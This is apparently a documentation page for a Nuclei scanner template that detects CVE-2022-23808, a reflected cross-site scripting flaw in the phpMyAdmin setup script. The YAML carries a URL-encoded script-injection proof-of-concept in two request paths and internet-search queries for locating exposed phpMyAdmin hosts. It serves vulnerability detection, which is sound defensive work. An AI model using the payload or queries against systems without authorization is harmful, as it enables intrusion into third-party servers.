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phpMyAdmin < 5.1.2 - Cross-Site Scripting

ID: CVE-2022-23808

Severity: medium

Author: cckuailong,daffainfo

Tags: cve,cve2022,phpmyadmin,xss

Description

Section titled “Description”

An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.

YAML Source

Section titled “YAML Source”
id: CVE-2022-23808


info:
  name: phpMyAdmin < 5.1.2 - Cross-Site Scripting
  author: cckuailong,daffainfo
  severity: medium
  description: An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade phpMyAdmin to version 5.1.2 or later to mitigate this vulnerability.
  reference:
    - https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A
    - https://github.com/dipakpanchal456/CVE-2022-23808
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23808
    - https://www.phpmyadmin.net/security/PMASA-2022-2/
    - https://infosecwriteups.com/exploit-cve-2022-23808-85041c6e5b97
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-23808
    cwe-id: CWE-79
    epss-score: 0.00758
    epss-percentile: 0.81074
    cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpmyadmin
    product: phpmyadmin
    shodan-query:
      - http.component:"phpmyadmin"
      - http.title:"phpmyadmin"
      - cpe:"cpe:2.3:a:phpmyadmin:phpmyadmin"
    fofa-query:
      - title="phpmyadmin"
      - body="pma_servername" && body="4.8.4"
    google-query: intitle:"phpmyadmin"
    hunter-query: app.name="phpmyadmin"&&web.body="pma_servername"&&web.body="4.8.4"
  tags: cve,cve2022,phpmyadmin,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"></script><script>alert(document.domain)</script>"
          - "<h2>Add a new server</h2>"
          - "<title>phpMyAdmin setup"
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-23808.yaml"

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